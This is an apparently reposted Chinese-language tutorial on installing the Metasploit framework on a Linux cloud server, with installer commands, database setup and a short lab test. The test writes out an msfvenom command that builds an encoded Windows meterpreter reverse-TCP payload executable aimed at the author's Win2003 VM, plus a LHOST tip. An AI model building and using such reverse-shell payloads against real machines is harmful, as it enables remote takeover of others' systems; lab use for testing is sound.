服务器 
首页 > 服务器 > 浏览文章

linux系统安装msf的过程详解

(编辑:jimmy 日期: 2024/5/9 浏览:3 次 )

还是自己写下安装过程吧!

我的服务器系统是 Aliyun linux

1、下载安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

可能报错:Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因为安装库的问题!
解决方法:
yum install -y epel-release
然后再重复上面那条命令!

2、添加新用户运行msf
adduser msf       #添加msf用户
su msf                #切换到msf用户
cd  /opt/metasploit-framework/bin   #切换到msf所在的目录
./msfconsole
#以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。
如果使用root用户启动的话,不会同步数据库!
(启动索引已经默认配好了!)
直接 msfconsole 就可以启动了!

#相关命令
[msf@xxxx root]$ msf
msfbinscan msfconsole msfd   msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc  msfrpcd  msfupdate msfvenom

#数据库初始化
[msf@xxxx root]$ msfdb
Commands:
 init  initialize the component
 reinit delete and reinitialize the component
 delete delete and stop the component
 status check component status
 start start the component
 stop  stop the component
 restart restart the component
#测试:
e.g.我的虚拟主机是 Win2003(目标机)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是弹性云服务器IP,LHOST 要设置为内网分配IP,不能设公网IP [被这个坑折腾好久!!!吐血!!!]

linux系统安装msf的过程详解

ps:linux系统下安装msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

等待运行结束即可。关键地方按回车和Y即可。

总结

上一篇:使用Docker Swarm 搭建Wordpress的方法
下一篇:Ubuntu20.04安装搜狗输入法的详细步骤
一句话新闻
高通与谷歌联手!首款骁龙PC优化Chrome浏览器发布
高通和谷歌日前宣布,推出首次面向搭载骁龙的Windows PC的优化版Chrome浏览器。
在对骁龙X Elite参考设计的初步测试中,全新的Chrome浏览器在Speedometer 2.1基准测试中实现了显著的性能提升。
预计在2024年年中之前,搭载骁龙X Elite计算平台的PC将面世。该浏览器的提前问世,有助于骁龙PC问世就获得满血表现。
谷歌高级副总裁Hiroshi Lockheimer表示,此次与高通的合作将有助于确保Chrome用户在当前ARM兼容的PC上获得最佳的浏览体验。
友情链接:杰晶网络 DDR爱好者之家 南强小屋 黑松山资源网 白云城资源网